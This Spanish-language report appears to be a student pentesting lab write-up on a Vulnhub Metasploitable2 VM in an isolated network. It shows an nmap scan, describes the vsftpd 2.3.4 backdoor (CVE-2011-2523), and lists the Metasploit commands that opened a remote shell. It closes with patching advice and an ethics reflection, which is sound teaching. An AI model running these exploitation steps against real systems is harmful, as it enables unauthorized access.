**Informe Técnico**

**Escaneo y Explotación de una Máquina Vulnerable con Kali Linux y Vulnhub – Lección 2**

**1. Escenario**

Se descargó e importó una máquina vulnerable desde **Vulnhub** (ejemplo: *Metasploitable2*). El entorno se configuró en **VirtualBox**, con Kali Linux como atacante y la VM vulnerable como objetivo, conectadas en **red interna** para garantizar aislamiento. El objetivo del laboratorio fue realizar un **escaneo de servicios**, identificar vulnerabilidades y simular una explotación controlada, aplicando un enfoque ético y documentado.

**2. Metodología**

1. **Configuración del entorno**
   * Se verificó conectividad entre Kali y la VM vulnerable con ping <IP objetivo>.
2. **Escaneo con Nmap**
3. nmap -sS -sV -O 192.168.56.101
   * **Puertos abiertos:** 21 (FTP), 22 (SSH), 80 (HTTP), 3306 (MySQL).
   * **Servicios detectados:** vsftpd 2.3.4, OpenSSH 4.7, Apache 2.2.8, MySQL 5.0.51.
4. **Análisis de vulnerabilidades (ejemplo: vsftpd 2.3.4)**
   * CVE-2011-2523: *Backdoor en vsftpd que permite obtener una shell remota tras login con “:)”*.
5. **Simulación de explotación**
   * Se utilizó **Metasploit Framework**:
   * msfconsole
   * use exploit/unix/ftp/vsftpd\_234\_backdoor
   * set RHOST 192.168.56.101
   * run
   * Resultado: acceso a shell remota con privilegios de usuario.

**3. Resultados**

* Se identificaron múltiples servicios expuestos con versiones antiguas.
* Se confirmó la explotación del servicio **FTP vsftpd 2.3.4**, logrando acceso no autorizado.
* El hallazgo demuestra la criticidad de mantener servicios actualizados.

**4. Recomendaciones de Seguridad**

1. **Actualizar vsftpd y otros servicios** a versiones corregidas.
2. Restringir accesos externos a servicios críticos (FTP, MySQL) mediante firewall y segmentación.
3. Implementar monitoreo y alertas ante intentos de explotación.
4. Reforzar autenticación con **MFA** en accesos administrativos.
5. Desplegar un ciclo de **gestión de vulnerabilidades** con parches periódicos.

**5. Reflexión Ética**

El laboratorio demostró que las vulnerabilidades explotadas de forma no ética pueden comprometer gravemente la infraestructura de una organización. Sin embargo, en un entorno controlado, estas prácticas son valiosas para aprender técnicas de ataque y diseñar defensas efectivas. Un profesional en ciberseguridad debe aplicar estas habilidades únicamente en auditorías autorizadas, respetando los principios de la **ética y legalidad**.

**6. Conclusión**

El ejercicio permitió aplicar las fases básicas de un **pentest**: reconocimiento, escaneo, análisis de vulnerabilidades y explotación. Se comprobó que sistemas desactualizados representan un riesgo crítico y requieren medidas inmediatas. La práctica reforzó la importancia del **pentesting ético** como herramienta para mejorar la seguridad y reducir la exposición a ciberataques reales.